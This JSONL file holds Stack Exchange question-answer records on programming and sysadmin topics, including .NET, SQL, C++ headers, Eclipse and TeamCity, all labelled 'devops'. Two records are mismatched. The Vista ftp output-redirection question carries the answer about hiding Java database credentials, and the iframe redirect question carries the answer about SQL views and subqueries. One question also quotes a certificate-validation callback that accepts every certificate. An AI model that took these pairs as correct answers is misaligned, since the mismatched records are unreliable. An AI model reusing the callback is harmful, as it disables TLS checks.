{"id": "hf_ca278b3c2962", "question": "<p>How do I start a process, such as launching a URL when the user clicks a button?</p>\n", "question_body": "", "answer": "You can use the\nSystem.Diagnostics.Process.Start\nmethod to start a process. You can even pass a URL as a string and it'll kick off the default browser.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:01.603759"}
{"id": "hf_6856936330a9", "question": "<p>i need to get the color at a particular coordinate from a texture. There are 2 ways  i can do this, by getting and looking at the raw png data, or by sampling my generated opengl texture. Is it possible to sample an opengl texture to get the color (RGBA) at a given UV or XY coord? If so, how?</p>\n", "question_body": "", "answer": "The most efficient way I've found to do it is to access the texture data (you should have our PNG decoded to make into a texture anyway) and interpolate between the texels yourself.  Assuming your texcoords are [0,1], multiply texwidth\nu and texheight\nv and then use that to find the position on the texture.  If they're whole numbers, just use the pixel directly, otherwise use the int parts to find the bordering pixels and interpolate between them based on the fractional parts.\nHere's some HLSL-like psuedocode for it.  Should be fairly clear:\n```\n```\nfloat3 sample(float2 coord, texture tex) {\n    float x = tex.w * coord.x; // Get X coord in texture\n    int ix = (int) x; // Get X coord as whole number\n    float y = tex.h * coord.y;\n    int iy = (int) y;\n\n    float3 x1 = getTexel(ix, iy); // Get top-left pixel\n    float3 x2 = getTexel(ix+1, iy); // Get top-right pixel\n    float3 y1 = getTexel(ix, iy+1); // Get bottom-left pixel\n    float3 y2 = getTexel(ix+1, iy+1); // Get bottom-right pixel\n\n    float3 top = interpolate(x1, x2, frac(x)); // Interpolate between top two pixels based on the fractional part of the X coord\n    float3 bottom = interpolate(y1, y2, frac(x)); // Interpolate between bottom two pixels\n\n    return interpolate(top, bottom, frac(y)); // Interpolate between top and bottom based on fractional Y coord\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:01.639285"}
{"id": "hf_db510139de3c", "question": "<p>Often when making changes to a VS2008 ASP.net project we get a message like:</p>\n\n<p>BC30560: 'mymodule_ascx' is ambiguous in the namespace 'ASP'.</p>\n\n<p>This goes away after a recompile or sometimes just waiting 10 seconds and refreshing the page. </p>\n\n<p>Any way to get rid of it?</p>\n", "question_body": "", "answer": "I used to have this problem sometimes too.  If I remember correctly it was caused by something like the following:\n```\n```\n<%@ Page Inherits=\"_Default\" %>\n```\n```\nor perhaps\n```\n```\n<%@ Page ClassName=\"_Default\" %>\n```\n```\nOr something like that.  I'm not 100% sure which attribute it was (it's been a while).\nBut look look for something like _Default in your Page directive and replace them with actual class names in all of your files.  For some reason, ASP.Net doesn't always interpret the _Default correctly, yielding temporary ambiguous references.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:01.670846"}
{"id": "hf_a72b395ae9d0", "question": "<p>Is there an exact overview what has changed in the SP1 for .NET 3.5? New classes, methods, etc.</p>\n\n<p>For example, I've noticed there is a new <code>WaitOne(TimeSpan)</code> and <code>WaitOne(int)</code> overloads in the <code>WaitHandle</code> class.</p>\n", "question_body": "", "answer": "What's New in the .NET Framework Version 3.5 SP1 - MSDN", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:01.695721"}
{"id": "hf_008aff58de21", "question": "<p>I've got a Java client that needs to access a remote database. It is the goal to hide database credentials from the user and not hardcode any credentials within the code. Therefore, the database access will probably have to be on the server side.</p>\n\n<p>I'm restricted to use Ibatis as a data abstraction framework. Apart from that I have JBoss running on the webserver, allowing me to use data sources.</p>\n\n<p>How would you design the remote database access and data serialization/deserialization. would you prefer web services of some kind of data stream over a socket? How would you realize either of both?</p>\n", "question_body": "", "answer": "So you want users to be able to access the database without knowing the credentials? Your only option is server-side database access. Unfortunately there is no way of hiding the username and password in Java -- if you put it into a properties file and encrypt it, a determined attacker could still attach a debugger and see what values are being held in your code.\nAlso, unless you're connecting to the DB over a secure connection someone could run a packet sniffer such as tcpdump and get the credentials there.\nYou say that you're running a JBoss server, what might be best is to set up remote EJBs so that your client application doesn't access the database directly - it has to go via your EJB methods. (It doesn't have to be EJB, by the way, you could do something such as web services if you prefer).\nThe point is, your server talks to the databas directly, and your client's only access is via a limited set of interfaces you define on the server.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:01.757830"}
{"id": "hf_7db9df482532", "question": "<blockquote>\n  <p>UPDATED: on win2k it seems it works OK. Sorry for the confusion.</p>\n</blockquote>\n\n<p>MS Windows Vista internal ftp client has a strange behavior.\nWhen redirecting its output and error to a file, the errors do not show up there:</p>\n\n<blockquote>\n  <p>ftp -n -s:commands.txt host >output.log 2>&amp;1</p>\n</blockquote>\n\n<p>When running it from Task Scheduler inside a batch file, I don't get any error messages if connection refused. Even if echo is on or with the -d option.\nDo you have a workaround for it?</p>\n", "question_body": "", "answer": "So you want users to be able to access the database without knowing the credentials? Your only option is server-side database access. Unfortunately there is no way of hiding the username and password in Java -- if you put it into a properties file and encrypt it, a determined attacker could still attach a debugger and see what values are being held in your code.\nAlso, unless you're connecting to the DB over a secure connection someone could run a packet sniffer such as tcpdump and get the credentials there.\nYou say that you're running a JBoss server, what might be best is to set up remote EJBs so that your client application doesn't access the database directly - it has to go via your EJB methods. (It doesn't have to be EJB, by the way, you could do something such as web services if you prefer).\nThe point is, your server talks to the databas directly, and your client's only access is via a limited set of interfaces you define on the server.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:01.783200"}
{"id": "hf_53feb977af8f", "question": "<p>I once had a MySQL database table containing 25 million records, which made even a simple <code>COUNT(*)</code> query takes minute to execute. I ended up making partitions, separating them into a couple tables. What i'm asking is, is there any pattern or design techniques to handle this kind of problem (huge number of records)? Is MSSQL or Oracle better in handling lots of records?</p>\n\n<p>P.S \nthe <code>COUNT(*)</code> problem stated above is just an example case, in reality the app does crud functionality and some aggregate query (for reporting), but nothing really complicated. It's just that it takes quite a while (minutes) to execute some these queries because of the table volume</p>\n", "question_body": "", "answer": "Many performance issues around large tables relate to indexing problems, or lack of indexing all together. I'd definitely make sure you are familiar with indexing techniques and the specifics of the database you plan to use.\nWith regards to your slow count(*) on the huge table, i would assume you were using the InnoDB table type in MySQL. I have some tables with over 100 million records using MyISAM under MySQL and the count(*) is very quick.\nWith regards to MySQL in particular, there are even slight indexing differences between InnoDB and MyISAM tables which are the two most commonly used table types. It's worth understanding the pros and cons of each and how to use them.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:01.806953"}
{"id": "hf_ded6d8ca5105", "question": "<p>I'm trying to localize my aspx pages. I'm done with content localization using L10n features provided by .net f/w, like resource files. But I'm finding it difficult to set local data in page titles. </p>\n\n<p>Most of the browsers, including IE and FF, shows content on window title with some boxes (FF will show properly localized text in tab, IE doesn't even do that). But its working fine in safari (on windows). </p>\n\n<p>When I did a research it seems like this issue exits ONLY for some of the languages. For example, the <a href=\"http://www.bbc.co.uk/hindi/\" rel=\"nofollow noreferrer\">Hindi version of BBC</a> shows the title with boxes. But <a href=\"http://news.bbc.co.uk/hi/arabic/news/\" rel=\"nofollow noreferrer\">Arabic version</a> shows the localized text in title.</p>\n\n<p>Can somebody please tell me why this is happening? How we can solve this issue?</p>\n\n<p>Note: My site is using Asp.net 2.0 / IIS</p>\n", "question_body": "", "answer": "I suspect this is a typeface issue. The browser title bar and other window ornaments are usually rendered by your OS, not by the browser itself, so if you've configured Windows to use a typeface that doesn't support the additional character glyphs required for Hindi, Arabic, etc., then you'll get the boxes instead. Within your actual pages, you're probably using a typeface which does include support for all these extended characters, which is why you're only seeing the problem on the window titles.\nSafari uses its own rendering engine for everything including the window chrome, which is why it doesn't look like a normal Windows app, and why your localized titles are working.\nYou might want to try changing your Windows \"Active Title Bar\" font (under Display Properties, Appearance, Advanced) to something like Arial which covers the full set of Unicode characters, and see if this resolves the problem?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:01.835228"}
{"id": "hf_746d5e905828", "question": "<p>What's the difference between absolute path &amp; relative path when using any web server or Tomcat?</p>\n", "question_body": "", "answer": "Absolute paths start with / and refer to a location from the root of the current site (or virtual host).\nRelative paths do not start with / and refer to a location from the actual location of the document the reference is made.\nExamples, assuming root is\nhttp://foo.com/site/\nAbsolute path, no matter where we are on the site\n```\n```\n/foo.html\n```\n```\nwill refer to\nhttp://foo.com/site/foo.html\nRelative path, assuming the containing link is located in\nhttp://foo.com/site/part1/bar.html\n```\n```\n../part2/quux.html\n```\n```\nwill refer to\nhttp://foo.com/site/part2/quux.html\nor\n```\n```\npart2/blue.html\n```\n```\nwill refer to\nhttp://foo.com/site/part1/part2/blue.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:01.857887"}
{"id": "hf_3267d0c6e2b3", "question": "<p>I have created a Dynamic Web Project in my Eclipse workspace. It is also a Maven project, and under SVN control. But in \"Open Resource\" (Ctrl+Alt+R) no file from this project appears, unless I check from the window's options (top right drop-down) \"Show Derived Resources\".</p>\n\n<p>I have checked on some of the project's folders and they are not marked as \"Derived\".</p>\n\n<p>I have two more (plain Java) projects in the workspace, and all the files from them are visible in \"Open Resource\".</p>\n\n<p>Do you know what might be wrong with either Eclipse, the Maven plugin or Subclipse (the SVN plugin)?</p>\n", "question_body": "", "answer": "I experienced a similar issue in Eclipse (Ganymede), when using the Maven and Subclipse plugins. I have not determined which plugin caused this problem, but I suspect that it is related to my pom.xml containing nested modules (ie. a\n```\n<modules><module>main-module</module><module>integration-test</module>\n```\n). These appear in Eclipse as nested folders with their own pom.xml files (I did not use the Multiple Projects plugin although I have installed it).\nI assume that one of the plug-ins has incorrectly set the derived flag on these folders when I checked out the project by SVN and then updated the MVN dependencies and project settings.\nWhen I right click->properties on the top-level nested module directories I can see the Derived flag is checked. By unchecking the derive flag on the module directories (and checking the derive flag on the target directories within each sub-module instead), it fixed the Open Resource functionality.\nAs the derived flag is inherited from directories, you may need to check all of your directories in the hierarchy to find the 'culprit'.\nIf it helps the plug-in authors, my top level module directories contain a hyphen '-' in their names. Maybe that is throwing out one of the plugins.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:01.892644"}
{"id": "hf_cd684e8311cd", "question": "<p>According to the <a href=\"http://feedparser.org/docs/introduction.html\" rel=\"noreferrer\">feedparser documentation</a>, I can turn an RSS feed into a parsed object like this:</p>\n\n<pre><code>import feedparser\nd = feedparser.parse('http://feedparser.org/docs/examples/atom10.xml')\n</code></pre>\n\n<p>but I can't find anything showing how to go the other way; I'd like to be able do manipulate 'd' and then output the result as XML:</p>\n\n<pre><code>print d.toXML()\n</code></pre>\n\n<p>but there doesn't seem to be anything in feedparser for going in that direction.  Am I going to have to loop through d's various elements, or is there a quicker way?</p>\n", "question_body": "", "answer": "```\n```\nfrom xml.dom import minidom\n\ndoc= minidom.parse('./your/file.xml')\nprint doc.toxml()\n```\n```\nThe only problem is that it do not download feeds from the internet.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:01.927319"}
{"id": "hf_7ec19e5a20d5", "question": "<p>After discovering <a href=\"http://clojure.org\" rel=\"noreferrer\">Clojure</a> I have spent the last few days immersed in it.</p>\n<p>What project types lend themselves to Java over Clojure, vice versa, and in combination?</p>\n<p>What are examples of programs which you would have never attempted before Clojure?</p>\n", "question_body": "", "answer": "Clojure lends itself well to\nconcurrent programming\n.  It provides such wonderful tools for dealing with threading as Software Transactional Memory and mutable references.\nAs a demo for the Western Mass Developer's Group, Rich Hickey made an ant colony simulation in which each ant was its own thread and all of the variables were immutable. Even with a very large number of threads things worked great. This is not only because Rich is an amazing programmer, it's also because he didn't have to worry about locking while writing his code. You can check out his\npresentation on the ant colony here\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:01.975464"}
{"id": "hf_2d38f11349c8", "question": "<p>What are the implications of including a set of visual components released under a <a href=\"http://www.mozilla.org/MPL/MPL-1.1.html\" rel=\"nofollow noreferrer\">Mozilla Public License</a> in a commercial application.</p>\n\n<p>Do I have any obligations?</p>\n", "question_body": "", "answer": "I've found pretty good analysis on MPL (and others) by Frank Hecker here:\nhttp://hecker.org/writings/setting-up-shop\n(search for \"Mozilla Public License\")\nThis pretty much sums it up:\nFor MozPL-ed source code considered as\n  a set of source files, modifications\n  of the original source files are\n  considered to also fall under the\n  MozPL, as are new source files\n  incorporating extracts from the\n  original source files. Such modified\n  or new files are required to be\n  licensed under the same terms as the\n  original files, and in particular must\n  be made freely and publicly available\n  in source form.\n...\nThus an open-source product initially\n  released under the MozPL may be\n  extended with proprietary code to\n  create new proprietary products, as\n  long as the proprietary code is\n  separate (i.e., in separate files) and\n  interacts with the open-source code\n  using a defined API.\nBut as usual, read it carefully and consult your lawyers.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:02.011406"}
{"id": "hf_c438e926bce3", "question": "<p>Does anyone know of a nice (and preferably free) way to integrate Prolog and C#?</p>\n\n<p>Im looking to create a Prolog dll or similar to call from my managed code, and retrieve an answer once all the processing has been complete. Im looking for it to be predominantly one sided (c# calls Prolog).</p>\n\n<p>I have seen <a href=\"https://stackoverflow.com/questions/130097/real-world-prolog-usage\">this question</a> which talks about Prologs real world usage but I was wondering if anyone had either any experience with c# &amp; Prolog? or a nice tutorial/article?</p>\n", "question_body": "", "answer": "Perhaps\nP#\nwill be useful for you", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:02.051766"}
{"id": "hf_8a1f32312588", "question": "<p>I want to disable \"Alert window\" that I get from login page of one HTTPS site with \"untrusted certificate\".</p>\n\n<p>ServicePointManager is used for WebRequest/WebResponse:</p>\n\n<blockquote>\n<pre><code>&gt; public static bool\n&gt; ValidateServerCertificate(object\n&gt; sender, X509Certificate certificate,\n&gt; X509Chain chain, SslPolicyErrors\n&gt; sslPolicyErrors) {\n&gt;     return true; }\n&gt; \n&gt; ServicePointManager.ServerCertificateValidationCallback\n&gt; = new RemoteCertificateValidationCallback(ValidateServerCertificate);\n</code></pre>\n</blockquote>\n\n<p><strong>but how can I use it with Webbrowser control?</strong></p>\n", "question_body": "", "answer": "The ServicePointManager is for managed code; WebBrowser is a wrapper around shdocvw, so will almost certainly have a very different programming model.\nif\nyou can automate this (and I'm not sure that you can), I would expect to have to reference the COM version to get the full API (see: AxWebBrowser). WebBrowser only exposes a .NET-friendly subset of the full functionality - enough to get most common jobs done.\nOne other option might be to get the data yourself (WebClient / WebRequest / etc), and simply push that html into the WebBrowser - but this will mess up external links etc.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:02.110472"}
{"id": "hf_1b7e9e1c9129", "question": "<p>Are there any free tools for scripting MSSQL table data?  I'll gladly write one, but am hoping it's been done, and the app matured a bit before/</p>\n", "question_body": "", "answer": "A quick google and hop pointed me to a Stored proc that should be able to help you. Look at\nMy code library\nmore specifically the file\ngenerate_inserts.txt\nto see if it can help you.\nNot really a tool, but the start of one! :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:02.156215"}
{"id": "hf_713f6e90366a", "question": "<p>When working on a big C/C++ project, do you have some specific rules regarding the <em>#include</em> within source or header files?</p>\n\n<p>For instance, we can imagine to follow one of these two excessive rules:</p>\n\n<ol>\n<li><em>#include</em> are forbidden in <em>.h</em> files; it is up to each <em>.c</em> file to include all the headers it needs</li>\n<li>Each <em>.h</em> file should include all its dependancies, i.e. it should be able to compile alone without any error.</li>\n</ol>\n\n<p>I suppose there is trade-off in between for any project, but what is yours? Do you have more specific rules? Or any link that argues for any of the solutions? </p>\n", "question_body": "", "answer": "The first rule will fail as soon as there are circular dependencies. So it cannot be applied strictly.\n(This can still be made to work but this shifts a whole lot of work from the programmer to the consumer of these libraries which is obviously wrong.)\nI'm all in favour of rule 2 (although it might be good to include “forward declaration headers” instead of the real deal, as in\n```\n<iosfwd>\n```\nbecause this reduces compile time). Generally, I believe it's a kind of self-documentation if a header file “declares” what dependencies it has – and what better way to do this than to include the required files?\nEDIT:\nIn the comments, I've been challenged that circular dependencies between headers are a sign of bad design and should be avoided.\nThat's not correct. In fact, circular dependencies\nbetween classes\nmay be unavoidable and aren't a sign of bad design at all. Examples are abundant, let me just mention the Observer pattern which has a circular reference between the observer and the subject.\nTo resolve the circularity between classes, you have to employ forward declaration because the order of declaration matters in C++. Now, it is completely acceptable to handle this forward declaration in a circular manner to reduce the number of overall files and to centralize code. Admittedly, the following case doesn't merit from this scenario because there's only a single forward declaration. However, I've worked on a library where this has been much more.\n```\n```\n// observer.hpp\n\nclass Observer; // Forward declaration.\n\n#ifndef MYLIB_OBSERVER_HPP\n#define MYLIB_OBSERVER_HPP\n\n#include \"subject.hpp\"\n\nstruct Observer {\n    virtual ~Observer() = 0;\n    virtual void Update(Subject* subject) = 0;\n};\n\n#endif\n```\n```\n```\n```\n// subject.hpp\n#include <list>\n\nstruct Subject; // Forward declaration.\n\n#ifndef MYLIB_SUBJECT_HPP\n#define MYLIB_SUBJECT_HPP\n\n#include \"observer.hpp\"\n\nstruct Subject {\n    virtual ~Subject() = 0;\n    void Attach(Observer* observer);\n    void Detach(Observer* observer);\n    void Notify();\n\nprivate:\n    std::list<Observer*> m_Observers;\n};\n\n#endif\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:02.206528"}
{"id": "hf_d7cae60e22e2", "question": "<p>An advantage by using Windows Authentication is that I do not need to provide a username and password to log into the server as the user currently logged into Windows. But in a specific case I would like to log into the SQL Server as another user, using the same Windows Authenticated ODBC connection.</p>\n\n<p>So, the question: Is it possible to log into an SQL Server using Windows Authentication, but not as the user currently logged into Windows (without a dialog asking for username and password)?</p>\n", "question_body": "", "answer": "The simple answer to your question is no, without a dialog being presented, it's not possible to login to SQL Server using another Windows account.\nThe slightly more complex answer is; You can login as another user (WITH a dialog being presented) by right-clicking the Query Analyser icon and choosing \"Run As\" (Might require a CTRL or SHIFT key held down to make RUN AS appear.\nThere's also the RUNAS command line executable which you could look at, so you could create a shortcut that contains the RUNAS command, the credentials and the path to Query Analyser. That would eliminate being asked for a username or password on execution.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:02.256565"}
{"id": "hf_f2187e2c457d", "question": "<p>In certain areas in my application I need data from several tables in the database (I have  an application, the application has many attributes, each attribute has several definitions, and each definition has a value). I need the data from all these tables for an application. Should I use a view (one that would be rather large) or subqueries for selecting the records? In the case of subqueries is the optimizer able to work efficiently? I'm also interested if caching will work for subqueries.</p>\n", "question_body": "", "answer": "This is an 'It depends' question.  A view might help to make the code more maintainable but complex selection predicates might confuse the optimiser.\nAnother option is a stored procedure that returns a record set.  If you reuse a subquery several times you may get some mileage from splitting up the query, selecting the subquery into a temporary table and combining the parts in a later step.\nWithout a more specific description of the problem it's hard to really give a meaningful answer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:02.280208"}
{"id": "hf_6ea258493c59", "question": "<p>I have a webpage (say www.example.com/a.asp) .. I am having an iframe in this page which loads a page from a different website (www.example.net/b.asp)... This b.asp asks few questions to the user and the results are posted to c.asp in my website (www.example.com/c.asp). This page (www.example.com/c.asp) gets loaded in the iframe. Is there any way so that I can reload the entire webpage and redirect to another wbpage when I get the response from www.example.net. Sorry if this question is confusing, Any queries please let me know.</p>\n", "question_body": "", "answer": "This is an 'It depends' question.  A view might help to make the code more maintainable but complex selection predicates might confuse the optimiser.\nAnother option is a stored procedure that returns a record set.  If you reuse a subquery several times you may get some mileage from splitting up the query, selecting the subquery into a temporary table and combining the parts in a later step.\nWithout a more specific description of the problem it's hard to really give a meaningful answer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:02.304175"}
{"id": "hf_fe32ac1ae329", "question": "<p>How can I prevent a user from resizing GridViewColumns withing a ListView control?</p>\n", "question_body": "", "answer": "i found a solution and probably it will help someone else someday ;)\nyou have to override the GridViewColumnHeader's ControlTemplate (default template is\nhere\n) and remove the\nPART_HeaderGripper\nfrom the template in order to prevent resizing of your columns.\nthere is another solution that comes up with subclassing GridViewColumn described\nhere\n. for representation purposes i prefer xaml only solutions though", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:02.340332"}
{"id": "hf_0e0d99cef401", "question": "<p>I want to use a template engine in a struts application and would like to know if using TILES can be recommended instead of FREEMARKER or VELOCITY.</p>\n", "question_body": "", "answer": "I've used tiles before on a project. It was good for templating, however it can't really be compared to velocity or freemarker: with Tiles you use normal JSPs and are limited to the JSP tags youv'e got.\nVelocity (and probably Freemarker although I haven't used it before) provide their own tags or expression language, so you can do thinks like:\n```\nHello ${name}\n```\nWhich you can't do in plain JSPs. [updated due to comment: in JSP 2.0, EL is included so you can do things like that. However, I think Velocity or Freemarker are more powerful in terms of what you can do with it.]\nIf you've got a layout with lots of different components (i.e. header, sidebar, etc) and you want to define various different templates, tiles isn't a bad choice. (Although be warned - it can be quite a lot of XML!)\nBut if you need something more \"advanced\" than plain JSPs Velocity or Freemarker might be the way to go.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:02.364199"}
{"id": "hf_f888f2dc5bd8", "question": "<p>the function addresses (Rva+Base) in my MAP-file from visual studio doesn't match the one I see in the debugger (or when I manually inspect my stack frame).</p>\n\n<p>What could be causing this?</p>\n\n<p>/A.B.</p>\n", "question_body": "", "answer": "Is the problem in an executable or a DLL?\nIf it's a DLL what is its preferred load address? If this clashes with any other DLL then it will be rebased by the loader, and this can lead to what you're seeing.\nAs part of your build process, you should ensure that all your DLLs are rebased (there's a tool to do this) so that their address spaces don't clash (this frees up some page file space as well as improving load time).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:02.411221"}
{"id": "hf_7b27af6f855b", "question": "<p>When accessing an object in a DataTable retrieved from a database, are there any reasons not to cast the object into your desired type, or are there reasons to use convert? I know the rule is cast when we know what data type we're working with, and convert when attempting to change the data type to something it isn't. Presuming we know what data type is stored in a column, cast seems appropriate, but are there any DB type issues that mean we can't rely on this?</p>\n", "question_body": "", "answer": "I would always cast, for the reasons you state.  The gotchas I'm aware of that you need to handle are:\nYou obviously need to be able to handle DBNulls (e.g. by testing with Convert.IsDBNull)\nIn the case of ExecuteScalar I believe you need to check for null as well as DBNull.\nSQL Servers @@IDENTITY and SCOPE_IDENTITY functions return numeric (decimal) even for columns that are declared as INT.  In this case you can cast twice \"(int)(decimal)value\" or handle it in the T-SQL code, e.g.:\n.\nINSERT INTO MyTable ...\nSELECT AutoIdColumn FROM MyTable WHERE AutoIdColumn = SCOPE_IDENTITY()\nor\n```\n```\nINSERT INTO MyTable ...\nSELECT CAST(SCOPE_IDENTITY() AS INT)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:02.519154"}
{"id": "hf_9f7789b11092", "question": "<p>I want to put \"random\" output from my result set (about 1.5 mil rows) in a file in a sorted manner. I know i can use sort by command in my query but that command is \"expensive\". \nCan you tell me is there any algorithm for writing result set rows in a file so the content would be sorted in the end and can i gain in performance with this?\nI'm using java 1.6, and query has multiple joins.</p>\n", "question_body": "", "answer": "Define an index for the sort criteria in your table, then you can use the order by clause without problems and write the file as it comes from the resultset.\nIf your query has multiple joins, create the proper indexes for the joins and for the sort criteria. You can sort the data on your program but you'd be wasting time. That time will  be a lot more valuable when employed learning how to properly tune/use your database rather than reinventing sorting algorithms already present in the database engine.\nGrab your database's profiler and check the query's execution plan.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:02.550717"}
{"id": "hf_e0bd7beb87fc", "question": "<p>XP-specific answers preferred, but others are welcome too.</p>\n", "question_body": "", "answer": "From\n```\n%windir%\\System32\\Shell32.dll\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:02.575333"}
{"id": "hf_4d65c7b33359", "question": "<p>Can anyone give me an example of what the Artifact paths setting defined for a build configuration could look like if I want to create two artifacts dist and source where I am using the sln 2008 build runner and building my projects using the default bin/Release?</p>\n\n<pre>\n**/Source/Code/MyProject/bin/Release/*.* => dist\n**/*.* => source\n</pre>\n\n<p>I get two artifact roots dist and source but under dist I get the whole directory structure (Source/Code/MyProject/bin/Release) which I don't want and under source I get the whole thing along with obj and bin/Release which I do not want.</p>\n\n<p>Can you give some advice on how to do this correctly?</p>\n\n<p>Do I need to change the target location for all the projects I am building to be able to get this thing to work?</p>\n", "question_body": "", "answer": "So you'll just need:\n```\n```\nSource\\Code\\MyProject\\bin\\Release\\* => dist\nSource\\**\\* => source\n```\n```\nThis will put all the files in release into a artifact folder called dist and everything in Source into a artifact folder called source.\nIf you have subfolders in Release try:\n```\n```\nSource\\Code\\MyProject\\bin\\Release\\**\\* => dist\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:02.637557"}
